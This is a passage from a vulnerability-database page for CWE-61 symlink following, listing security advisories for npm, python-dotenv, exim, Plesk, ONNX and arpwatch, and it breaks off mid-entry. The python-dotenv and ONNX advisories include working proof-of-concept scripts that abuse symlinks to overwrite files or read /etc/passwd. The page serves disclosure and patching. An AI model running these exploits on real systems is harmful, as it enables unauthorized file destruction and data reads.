CWE-61
AllowedUNIX Symbolic Link (Symlink) Following
Abstraction: Compound · Status: Incomplete
The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
294 vulnerabilities reference this CWE, most recent first.
GHSA-M6CX-G6QM-P2CX
Vulnerability from github – Published: 2019-12-13 15:39 – Updated: 2021-10-21 21:16Versions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It fails to prevent access to folders outside of the intended node_modules folder through the bin field. A properly constructed entry in the package.json bin field would allow a package publisher to create files on a user's system when the package is installed. It is only possible to affect files that the user running npm install has access to and it is not possible to over write files that already exist on disk.
This behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.
Recommendation
Upgrade to version 6.13.3 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "npm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.13.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-16775"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-17T16:30:50Z",
"nvd_published_at": "2019-12-13T01:15:00Z",
"severity": "HIGH"
},
"details": "Versions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It fails to prevent access to folders outside of the intended node_modules folder through the bin field. A properly constructed entry in the package.json bin field would allow a package publisher to create files on a user\u0027s system when the package is installed. It is only possible to affect files that the user running `npm install` has access to and it is not possible to over write files that already exist on disk.\n\nThis behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n\n## Recommendation\n\nUpgrade to version 6.13.3 or later.",
"id": "GHSA-m6cx-g6qm-p2cx",
"modified": "2021-10-21T21:16:09Z",
"published": "2019-12-13T15:39:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/npm/cli/security/advisories/GHSA-m6cx-g6qm-p2cx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16775"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHEA-2020:0330"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0573"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0579"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0597"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0602"
},
{
"type": "WEB",
"url": "https://blog.npmjs.org/post/189618601100/binary-planting-with-the-npm-cli"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-m6cx-g6qm-p2cx"
},
{
"type": "PACKAGE",
"url": "https://github.com/npm/cli"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Z36UKPO5F3PQ3Q2POMF5LEKXWAH5RUFP"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1434"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary File Write in npm"
}
GHSA-MF9W-MJ56-HR94
Vulnerability from github – Published: 2026-04-21 14:38 – Updated: 2026-04-21 14:38Summary
set_key() and unset_key() in python-dotenv follow symbolic links when rewriting .env files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.
Details
The rewrite() context manager in dotenv/main.py is used by both set_key() and unset_key() to safely modify .env files. It works by writing to a temporary file (created in the system's default temp directory, typically /tmp) and then using shutil.move() to replace the original file.
When the .env path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for /tmp), the following sequence occurs:
shutil.move()first attemptsos.rename(), which fails with anOSErrorbecause atomic renames cannot cross device boundaries.- On failure,
shutil.move()falls back toshutil.copy2()followed byos.unlink(). shutil.copy2()callsshutil.copyfile()withfollow_symlinks=Trueby default.- This causes the content to be written to the symlink target rather than replacing the symlink itself.
An attacker who has write access to the directory containing a .env file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls set_key() or unset_key(), the symlink target is overwritten with the new .env content.
This vulnerability does not require a race condition and is fully deterministic once the preconditions are met.
Impact
The primary impacts are to integrity and availability:
- File overwrite / destruction (DoS): An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.
- Integrity violation: The target file's original content is replaced with
.env-formatted content controlled by the attacker. - Potential privilege escalation: In scenarios where a privileged process (running as root or a service account) calls
set_key(), the attacker can leverage this to write to files beyond their own access level.
The scope of impact depends on the application using python-dotenv and the privileges under which it runs.
Proof of Concept
The following script demonstrates the vulnerability. It requires /tmp and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).
import os
import sys
import tempfile
from dotenv import set_key
# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"
with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
# File an attacker wants to overwrite
target = os.path.join(workdir, "victim_config.txt")
with open(target, "w") as f:
f.write("DB_PASSWORD=supersecret\n")
# Attacker pre-places a symlink at the path the application will use as .env
env_symlink = os.path.join(workdir, ".env")
os.symlink(target, env_symlink)
before = open(target).read()
# Application writes a new key -- triggers the cross-device fallback
set_key(env_symlink, "INJECTED", "attacker_value")
after = open(target).read()
print("Before:", repr(before))
print("After: ", repr(after))
print("Symlink target overwritten:", target)
Expected output:
Before: 'DB_PASSWORD=supersecret\n'
After: "DB_PASSWORD=supersecret\nINJECTED='attacker_value'\n"
Symlink target overwritten: /home/user/tmp806nut2g/victim_config.txt
Remediation
The fix changes the rewrite() context manager in the following ways:
- Symlinks are no longer followed by default. When the
.envpath is a symlink,rewrite()now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target. - A
follow_symlinks: bool = Falseparameter is added toset_key()andunset_key()for users who explicitly need the old behavior. - Temp files are written in the same directory as the target
.envfile (instead of the system temp directory), eliminating the cross-device rename condition entirely. os.replace()is used instead ofshutil.move(), providing atomic replacement without symlink-following fallback behavior.
Users are advised to upgrade to the patched version as soon as it is available on PyPI.
Timeline
| Date | Event |
|---|---|
| 2026-01-09 | Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in rewrite() |
| 2026-01-10 | Co-maintainer acknowledged report, requested clarification |
| 2026-01-11 | Initial report assessed as not exploitable and closed |
| 2026-02-24 | Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation |
| 2026-02-26 | Co-maintainer confirmed vulnerability and shared draft patch |
| 2026-02-26 | Reporter validated fix with monkeypatched PoC, proposed CVSS |
| 2026-03-01 | Patch merged to main |
| 2026-03-01 | Patched version released to PyPI |
| 2026-04-20 | Advisory published |
Patches
Upgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-dotenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28684"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T14:38:57Z",
"nvd_published_at": "2026-04-20T17:16:33Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.\n\n\n### Details\n\nThe `rewrite()` context manager in `dotenv/main.py` is used by both `set_key()` and `unset_key()` to safely modify `.env` files. It works by writing to a temporary file (created in the system\u0027s default temp directory, typically `/tmp`) and then using `shutil.move()` to replace the original file.\n\nWhen the `.env` path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for `/tmp`), the following sequence occurs:\n\n1. `shutil.move()` first attempts `os.rename()`, which fails with an `OSError` because atomic renames cannot cross device boundaries.\n2. On failure, `shutil.move()` falls back to `shutil.copy2()` followed by `os.unlink()`.\n3. `shutil.copy2()` calls `shutil.copyfile()` with `follow_symlinks=True` by default.\n4. This causes the content to be written to the **symlink target** rather than replacing the symlink itself.\n\nAn attacker who has write access to the directory containing a `.env` file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls `set_key()` or `unset_key()`, the symlink target is overwritten with the new `.env` content.\n\nThis vulnerability does not require a race condition and is fully deterministic once the preconditions are met.\n\n### Impact\nThe primary impacts are to **integrity** and **availability**:\n\n- **File overwrite / destruction (DoS):** An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.\n- **Integrity violation:** The target file\u0027s original content is replaced with `.env`-formatted content controlled by the attacker.\n- **Potential privilege escalation:** In scenarios where a privileged process (running as root or a service account) calls `set_key()`, the attacker can leverage this to write to files beyond their own access level.\n\nThe scope of impact depends on the application using python-dotenv and the privileges under which it runs.\n\n\n### Proof of Concept\n\nThe following script demonstrates the vulnerability. It requires `/tmp` and the user\u0027s home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).\n\n```python\nimport os\nimport sys\nimport tempfile\nfrom dotenv import set_key\n\n# Pre-condition: /tmp must be on a different device than the target directory.\ntmp_dev = os.stat(\"/tmp\").st_dev\nhome_dev = os.stat(os.path.expanduser(\"~\")).st_dev\nassert tmp_dev != home_dev, \"Skipped: /tmp and ~ are on the same device (no cross-device move)\"\n\nwith tempfile.TemporaryDirectory(dir=os.path.expanduser(\"~\")) as workdir:\n # File an attacker wants to overwrite\n target = os.path.join(workdir, \"victim_config.txt\")\n with open(target, \"w\") as f:\n f.write(\"DB_PASSWORD=supersecret\\n\")\n\n # Attacker pre-places a symlink at the path the application will use as .env\n env_symlink = os.path.join(workdir, \".env\")\n os.symlink(target, env_symlink)\n\n before = open(target).read()\n\n # Application writes a new key -- triggers the cross-device fallback\n set_key(env_symlink, \"INJECTED\", \"attacker_value\")\n\n after = open(target).read()\n\n print(\"Before:\", repr(before))\n print(\"After: \", repr(after))\n print(\"Symlink target overwritten:\", target)\n```\n\n**Expected output:**\n```\nBefore: \u0027DB_PASSWORD=supersecret\\n\u0027\nAfter: \"DB_PASSWORD=supersecret\\nINJECTED=\u0027attacker_value\u0027\\n\"\nSymlink target overwritten: /home/user/tmp806nut2g/victim_config.txt\n```\n\n### Remediation\n\nThe fix changes the `rewrite()` context manager in the following ways:\n\n1. **Symlinks are no longer followed by default.** When the `.env` path is a symlink, `rewrite()` now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target.\n2. **A `follow_symlinks: bool = False` parameter** is added to `set_key()` and `unset_key()` for users who explicitly need the old behavior.\n3. **Temp files are written in the same directory** as the target `.env` file (instead of the system temp directory), eliminating the cross-device rename condition entirely.\n4. **`os.replace()` is used instead of `shutil.move()`**, providing atomic replacement without symlink-following fallback behavior.\n\nUsers are advised to upgrade to the patched version as soon as it is available on PyPI.\n\n### Timeline\n\n| Date | Event |\n| ------------ | ---------------------------------------------------------------------------------------------------- |\n| 2026-01-09 | Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in `rewrite()` |\n| 2026-01-10 | Co-maintainer acknowledged report, requested clarification |\n| 2026-01-11 | Initial report assessed as not exploitable and closed |\n| 2026-02-24 | Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation |\n| 2026-02-26 | Co-maintainer confirmed vulnerability and shared draft patch |\n| 2026-02-26 | Reporter validated fix with monkeypatched PoC, proposed CVSS |\n| 2026-03-01 | Patch merged to main |\n| 2026-03-01 | Patched version released to PyPI |\n| 2026-04-20 | Advisory published |\n\n### Patches\n\nUpgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch",
"id": "GHSA-mf9w-mj56-hr94",
"modified": "2026-04-21T14:38:57Z",
"published": "2026-04-21T14:38:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/theskumar/python-dotenv/security/advisories/GHSA-mf9w-mj56-hr94"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28684"
},
{
"type": "WEB",
"url": "https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311"
},
{
"type": "WEB",
"url": "https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch"
},
{
"type": "PACKAGE",
"url": "https://github.com/theskumar/python-dotenv"
},
{
"type": "WEB",
"url": "https://github.com/theskumar/python-dotenv/releases/tag/v1.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "python-dotenv: Symlink following in set_key allows arbitrary file overwrite via cross-device rename fallback"
}
GHSA-MJ4Q-R4HV-QWVC
Vulnerability from github – Published: 2025-10-02 15:31 – Updated: 2025-10-02 15:31A UNIX Symbolic Link (Symlink) Following vulnerability in logrotate config in the exim package allowed privilege escalation from mail user/group to root.This issue affects Tumbleweed: from ? before 4.98.2-lp156.248.1.
{
"affected": [],
"aliases": [
"CVE-2025-53881"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-02T14:15:45Z",
"severity": "MODERATE"
},
"details": "A UNIX Symbolic Link (Symlink) Following vulnerability in logrotate config in the exim package allowed privilege escalation from mail user/group to root.This issue affects Tumbleweed: from ? before 4.98.2-lp156.248.1.",
"id": "GHSA-mj4q-r4hv-qwvc",
"modified": "2025-10-02T15:31:16Z",
"published": "2025-10-02T15:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53881"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-53881"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MP85-3986-VF9P
Vulnerability from github – Published: 2025-12-03 18:30 – Updated: 2025-12-03 18:30WebPros Plesk before 18.0.73.5 and 18.0.74 before 18.0.74.2 on Linux allows remote authenticated users to execute arbitrary code as root via domain creation. The attacker needs "Create and manage sites" with "Domains management" and "Subdomains management."
{
"affected": [],
"aliases": [
"CVE-2025-66431"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-03T17:15:54Z",
"severity": "HIGH"
},
"details": "WebPros Plesk before 18.0.73.5 and 18.0.74 before 18.0.74.2 on Linux allows remote authenticated users to execute arbitrary code as root via domain creation. The attacker needs \"Create and manage sites\" with \"Domains management\" and \"Subdomains management.\"",
"id": "GHSA-mp85-3986-vf9p",
"modified": "2025-12-03T18:30:26Z",
"published": "2025-12-03T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66431"
},
{
"type": "WEB",
"url": "https://docs.plesk.com/release-notes/obsidian/change-log/#plesk-18074"
},
{
"type": "WEB",
"url": "https://docs.plesk.com/release-notes/obsidian/whats-new"
},
{
"type": "WEB",
"url": "https://support.plesk.com/hc/en-us/articles/36494997377687--CVE-2025-66431-Security-vulnerability-in-domain-creation-mechanism-allows-Plesk-users-to-execute-arbitrary-code-on-behalf-of-root"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P433-9WV8-28XJ
Vulnerability from github – Published: 2026-04-01 21:14 – Updated: 2026-06-08 18:37Summary
- Issue: Symlink traversal in external data loading allows reading files outside the model directory.
- Affected code: onnx/onnx/checker.cc: resolve_external_data_location used via Python onnx.external_data_helper.load_external_data_for_model.
- Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.
Root Cause
- The function resolve_external_data_location(base_dir, location, tensor_name) intends to ensure that external data files reside within base_dir. It:
- Rejects empty/absolute paths
- Normalizes the relative path and rejects ..
- Builds data_path = base_dir / relative_path
- Checks exists(data_path) and is_regular_file(data_path)
- However, std::filesystem::is_regular_file(path) follows symlinks to their targets. A symlink placed inside base_dir that points to a file outside base_dir will pass the checks and be returned. The Python loader then opens the path and reads the target file.
Code Reference
- File: onnx/onnx/checker.cc:970-1060
- Key logic:
- Normalization: auto relative_path = file_path.lexically_normal().make_preferred();
- Existence: std::filesystem::exists(data_path)
- Regular file check: std::filesystem::is_regular_file(data_path)
- Returned path is later opened in Python: external_data_helper.load_external_data_for_tensor.
Proof of Concept (PoC)
- File: onnx_external_data_symlink_traversal_poc.py
- Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls load_external_data_for_model(model, base_dir). Confirms that tensor.raw_data contains content from the target outside the model directory.
- Run:
- python3 onnx_external_data_symlink_traversal_poc.py
- Expected: [!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir
onnx_external_data_symlink_traversal_poc.py
#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC
Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.
Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.
This PoC:
- Creates a model with a tensor using external_data location 'tensor.bin'
- Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
- Calls load_external_data_for_model(model, base_dir)
- Confirms that tensor.raw_data contains the content of the outside file
Safe: only reads a benign system file if present.
"""
import os
import sys
import tempfile
import pathlib
# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
sys.path.remove(_here)
import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
set_external_data,
load_external_data_for_model,
)
def pick_target_file():
candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
for p in candidates:
if os.path.exists(p) and os.path.isfile(p):
return p
raise RuntimeError("No suitable readable system file found for this PoC")
def build_model_with_external(location: str):
# A 1D tensor; data will be filled from external file
tensor = helper.make_tensor(
name="X_ext",
data_type=TensorProto.UINT8,
dims=[0], # dims will be inferred after raw_data is read
vals=[],
)
# add dummy raw_data then set_external_data to mark as external
tensor.raw_data = b"dummy"
set_external_data(tensor, location=location)
# Minimal graph that just feeds the initializer as Constant
const_node = helper.make_node("Constant", inputs=[], outputs=["out"], value=tensor)
graph = helper.make_graph([const_node], "g", inputs=[], outputs=[helper.make_tensor_value_info("out", TensorProto.UINT8, None)])
model = helper.make_model(graph)
return model
def main():
base = tempfile.mkdtemp(prefix="onnx_symlink_poc_")
model_dir = base
link_name = os.path.join(model_dir, "tensor.bin")
target = pick_target_file()
print(f"[*] Using target file: {target}")
# Create symlink in model_dir pointing outside
try:
pathlib.Path(link_name).symlink_to(target)
except OSError as e:
print(f"[!] Failed to create symlink: {e}")
print(" This PoC needs symlink capability.")
return 1
# Build model referencing the relative location 'tensor.bin'
model = build_model_with_external(location="tensor.bin")
# Use in-memory model; explicitly load external data from base_dir
loaded = model
print("[*] Loading external data into in-memory model...")
try:
load_external_data_for_model(loaded, base_dir=model_dir)
except Exception as e:
print(f"[!] load_external_data_for_model raised: {e}")
return 1
# Validate that raw_data came from outside file by checking a prefix
raw = None
# Search initializers
for t in loaded.graph.initializer:
if t.name == "X_ext" and t.HasField("raw_data"):
raw = t.raw_data
break
# Search constant attributes if not found
if raw is None:
for node in loaded.graph.node:
for attr in node.attribute:
if attr.HasField("t") and attr.t.name == "X_ext" and attr.t.HasField("raw_data"):
raw = attr.t.raw_data
break
if raw is not None:
break
if raw is None:
print("[?] Did not find raw_data on tensor; PoC inconclusive")
return 2
with open(target, "rb") as f:
target_prefix = f.read(32)
if raw.startswith(target_prefix):
print("[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir")
print(f" Symlink {link_name} -> {target}")
return 0
else:
print("[?] Raw data did not match target prefix; environment-specific behavior")
return 3
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34447"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:14:00Z",
"nvd_published_at": "2026-04-01T18:16:30Z",
"severity": "MODERATE"
},
"details": "Summary\n- Issue: Symlink traversal in external data loading allows reading files outside the model directory.\n- Affected code: `onnx/onnx/checker.cc: resolve_external_data_location` used via Python `onnx.external_data_helper.load_external_data_for_model`.\n- Impact: Arbitrary file read (confidentiality breach) when a model\u2019s external data path resolves to a symlink targeting a file outside the model directory.\n\nRoot Cause\n- The function `resolve_external_data_location(base_dir, location, tensor_name)` intends to ensure that external data files reside within `base_dir`. It:\n - Rejects empty/absolute paths\n - Normalizes the relative path and rejects `..`\n - Builds `data_path = base_dir / relative_path`\n - Checks `exists(data_path)` and `is_regular_file(data_path)`\n- However, `std::filesystem::is_regular_file(path)` follows symlinks to their targets. A symlink placed inside `base_dir` that points to a file outside `base_dir` will pass the checks and be returned. The Python loader then opens the path and reads the target file.\n\nCode Reference\n- File: onnx/onnx/checker.cc:970-1060\n- Key logic:\n - Normalization: `auto relative_path = file_path.lexically_normal().make_preferred();`\n - Existence: `std::filesystem::exists(data_path)`\n - Regular file check: `std::filesystem::is_regular_file(data_path)`\n - Returned path is later opened in Python: `external_data_helper.load_external_data_for_tensor`.\n\nProof of Concept (PoC)\n- File: `onnx_external_data_symlink_traversal_poc.py`\n- Behavior: Creates a model with an external tensor pointing to `tensor.bin`. In the model directory, creates `tensor.bin` as a symlink to `/etc/hosts` (or similar). Calls `load_external_data_for_model(model, base_dir)`. Confirms that `tensor.raw_data` contains content from the target outside the model directory.\n- Run:\n - `python3 onnx_external_data_symlink_traversal_poc.py`\n - Expected: `[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir`\n\nonnx_external_data_symlink_traversal_poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nONNX External Data Symlink Traversal PoC\n\nFinding: load_external_data_for_model() (via c_checker._resolve_external_data_location)\ndoes not reject symlinks. A relative location that is a symlink inside the\nmodel directory can target a file outside the directory and will be read.\n\nImpact: Arbitrary file read outside model_dir when external data files are\nobtained from attacker-controlled archives (zip/tar) that create symlinks.\n\nThis PoC:\n - Creates a model with a tensor using external_data location \u0027tensor.bin\u0027\n - Creates \u0027tensor.bin\u0027 as a symlink to a system file (e.g., /etc/hosts)\n - Calls load_external_data_for_model(model, base_dir)\n - Confirms that tensor.raw_data contains the content of the outside file\n\nSafe: only reads a benign system file if present.\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport pathlib\n\n# Ensure we import installed onnx, not the local cloned package\n_here = os.path.dirname(os.path.abspath(__file__))\nif _here in sys.path:\n sys.path.remove(_here)\n\nimport onnx\nfrom onnx import helper, TensorProto\nfrom onnx.external_data_helper import (\n set_external_data,\n load_external_data_for_model,\n)\n\n\ndef pick_target_file():\n candidates = [\"/etc/hosts\", \"/etc/passwd\", \"/System/Library/CoreServices/SystemVersion.plist\"]\n for p in candidates:\n if os.path.exists(p) and os.path.isfile(p):\n return p\n raise RuntimeError(\"No suitable readable system file found for this PoC\")\n\n\ndef build_model_with_external(location: str):\n # A 1D tensor; data will be filled from external file\n tensor = helper.make_tensor(\n name=\"X_ext\",\n data_type=TensorProto.UINT8,\n dims=[0], # dims will be inferred after raw_data is read\n vals=[],\n )\n # add dummy raw_data then set_external_data to mark as external\n tensor.raw_data = b\"dummy\"\n set_external_data(tensor, location=location)\n\n # Minimal graph that just feeds the initializer as Constant\n const_node = helper.make_node(\"Constant\", inputs=[], outputs=[\"out\"], value=tensor)\n graph = helper.make_graph([const_node], \"g\", inputs=[], outputs=[helper.make_tensor_value_info(\"out\", TensorProto.UINT8, None)])\n model = helper.make_model(graph)\n return model\n\n\ndef main():\n base = tempfile.mkdtemp(prefix=\"onnx_symlink_poc_\")\n model_dir = base\n link_name = os.path.join(model_dir, \"tensor.bin\")\n\n target = pick_target_file()\n print(f\"[*] Using target file: {target}\")\n\n # Create symlink in model_dir pointing outside\n try:\n pathlib.Path(link_name).symlink_to(target)\n except OSError as e:\n print(f\"[!] Failed to create symlink: {e}\")\n print(\" This PoC needs symlink capability.\")\n return 1\n\n # Build model referencing the relative location \u0027tensor.bin\u0027\n model = build_model_with_external(location=\"tensor.bin\")\n\n # Use in-memory model; explicitly load external data from base_dir\n loaded = model\n print(\"[*] Loading external data into in-memory model...\")\n try:\n load_external_data_for_model(loaded, base_dir=model_dir)\n except Exception as e:\n print(f\"[!] load_external_data_for_model raised: {e}\")\n return 1\n\n # Validate that raw_data came from outside file by checking a prefix\n raw = None\n # Search initializers\n for t in loaded.graph.initializer:\n if t.name == \"X_ext\" and t.HasField(\"raw_data\"):\n raw = t.raw_data\n break\n # Search constant attributes if not found\n if raw is None:\n for node in loaded.graph.node:\n for attr in node.attribute:\n if attr.HasField(\"t\") and attr.t.name == \"X_ext\" and attr.t.HasField(\"raw_data\"):\n raw = attr.t.raw_data\n break\n if raw is not None:\n break\n if raw is None:\n print(\"[?] Did not find raw_data on tensor; PoC inconclusive\")\n return 2\n\n with open(target, \"rb\") as f:\n target_prefix = f.read(32)\n if raw.startswith(target_prefix):\n print(\"[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir\")\n print(f\" Symlink {link_name} -\u003e {target}\")\n return 0\n else:\n print(\"[?] Raw data did not match target prefix; environment-specific behavior\")\n return 3\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n\n```",
"id": "GHSA-p433-9wv8-28xj",
"modified": "2026-06-08T18:37:35Z",
"published": "2026-04-01T21:14:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-p433-9wv8-28xj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34447"
},
{
"type": "PACKAGE",
"url": "https://github.com/onnx/onnx"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-104.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ONNX: External Data Symlink Traversal"
}
GHSA-P5JF-RF9M-P26H
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-10-26 12:00A UNIX Symbolic Link (Symlink) Following vulnerability in arpwatch of SUSE Linux Enterprise Server 11-SP4-LTSS, SUSE Manager Server 4.0, SUSE OpenStack Cloud Crowbar 9; openSUSE Factory, Leap 15.2 allows local attackers with control of the runtime user to run arpwatch as to escalate to root upon the next restart of arpwatch. This issue affects: SUSE Linux Enterprise Server 11-SP4-LTSS arpwatch versions prior to 2.1a15. SUSE Manager Server 4.0 arpwatch versions prior to 2.1a15. SUSE OpenStack Cloud Crowbar 9 arpwatch versions prior to 2.1a15. openSUSE Factory arpwatch version 2.1a15-169.5 and prior versions. openSUSE Leap 15.2 arpwatch version 2.1a15-lp152.5.5 and prior versions.
{
"affected": [],
"aliases": [
"CVE-2021-25321"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-30T09:15:00Z",
"severity": "HIGH"
},
"details": "A UNIX Symbolic Link (Symlink) Following vulnerability in arpwatch of SUSE Linux Enterprise Server 11-SP4-LTSS, SUSE Manager Server 4.0, SUSE OpenStack Cloud Crowbar 9; openSUSE Factory, Leap 15.2 allows local attackers with control of the runtime user to run arpwatch as to escalate to root upon the next restart of arpwatch. This issue affects: SUSE Linux Enterprise Server 11-SP4-LTSS arpwatch versions prior to 2.1a15. SUSE Manager Server 4.0 arpwatch versions prior to 2.1a15. SUSE OpenStack Cloud Crowbar 9 arpwatch versions prior to 2.1a15. openSUSE Factory arpwatch version 2.1a15-169.5 and prior versions. openSUSE Leap 15.2 arpwatch version 2.1a15-lp152.5.5 and prior versions.",
"id": "GHSA-p5jf-rf9m-p26h",
"modified": "2022-10-26T12:00:31Z",
"published": "2022-05-24T19:06:40Z",
"references": [
{
